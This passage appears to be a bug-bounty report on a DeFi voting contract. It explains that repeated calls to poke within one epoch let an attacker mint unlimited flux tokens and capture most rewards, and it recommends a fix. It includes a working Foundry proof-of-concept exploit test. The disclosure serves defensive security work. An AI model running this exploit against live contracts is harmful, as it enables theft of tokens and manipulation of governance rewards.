This function does not check for multiple calls within one epoch.
Impact Details
1. mint a substantial quantity of flux tokens
As soon as a user calls the poke function, the value of unclaimedFlux increases. Consequently, an attacker can obtain an unlimited amount of flux tokens. The attackers can wait until their locked bpt expires and then withdraw, enabling them to mint a substantial quantity of flux tokens.
Alternatively, they can withdraw before expiration. In this case, the profits gained by the attacker far outweigh any applicable penalties.
2. Secure the majority of the reward tokens
Simultaneously, the attacker can use the acquired flux tokens to obtain a significant voting boost. As a result, the attacker can secure the majority of the reward tokens.
Recommendation
According to the epoch, it is necessary to modify the acrueFlux function so that users can receive flux for each epoch.
Proof of Concept
// SPDX-License-Identifier: GPL-3
pragma solidity ^0.8.15;
import "./BaseTest.sol";
contract BugPokePoC is BaseTest {
function setUp() public {
setupContracts(block.timestamp);
}
// An attacker can use Voter.accrueFlux function to mint the fluxToken indefinitely.
function testBugAccrueFlux() public {
address attacker = beef;
uint256 tokenId = createVeAlcx(attacker, TOKEN_100K, MAXTIME, false);
address bribeAddress = voter.bribes(address(sushiGauge));
address[] memory pools = new address[](1);
pools[0] = sushiPoolAddress;
uint256[] memory weights = new uint256[](1);
weights[0] = 5000;
hevm.prank(attacker);
voter.vote(tokenId, pools, weights, 0);
hevm.warp(newEpoch());
voter.distribute();
console.log("before flux amount: ", flux.balanceOf(attacker));
{
hevm.startPrank(attacker);
uint256 unclaimedFlux = flux.getUnclaimedFlux(tokenId);
uint256 oldUnclaimedFlux = unclaimedFlux;
console.log("unclaimedFlux: ", unclaimedFlux);
// designed max totalPower
uint256 totalPower = veALCX.balanceOfToken(tokenId) + unclaimedFlux + veALCX.claimableFlux(tokenId);
console.log("correct max totalPower: ", totalPower);
for(uint256 i; i < 5; i++) {
voter.poke(tokenId);
unclaimedFlux = flux.getUnclaimedFlux(tokenId);
console.log("unclaimedFlux: ", unclaimedFlux);
}
hevm.warp(newEpoch());
voter.distribute();
console.log("correct max totalPower: ", veALCX.balanceOfToken(tokenId) + oldUnclaimedFlux + veALCX.claimableFlux(tokenId));
console.log("misused max totalPower: ", veALCX.balanceOfToken(tokenId) + unclaimedFlux + veALCX.claimableFlux(tokenId));
voter.vote(tokenId, pools, weights, unclaimedFlux + veALCX.claimableFlux(tokenId));
hevm.warp(newEpoch());
voter.distribute();
//It takes a considerable amount of time to implement this block, so I blocked it for now.
//If is not enough due to the current code, you can open and run the blocked code.
{
// hevm.warp(block.timestamp + MAXTIME);
//
// veALCX.startCooldown(tokenId);
//
// hevm.warp(block.timestamp + 1 weeks + 1);
//
// voter.reset(tokenId);
// veALCX.withdraw(tokenId);
// console.log("after flux amount: ", flux.balanceOf(attacker));
}
hevm.stopPrank();
}
}
}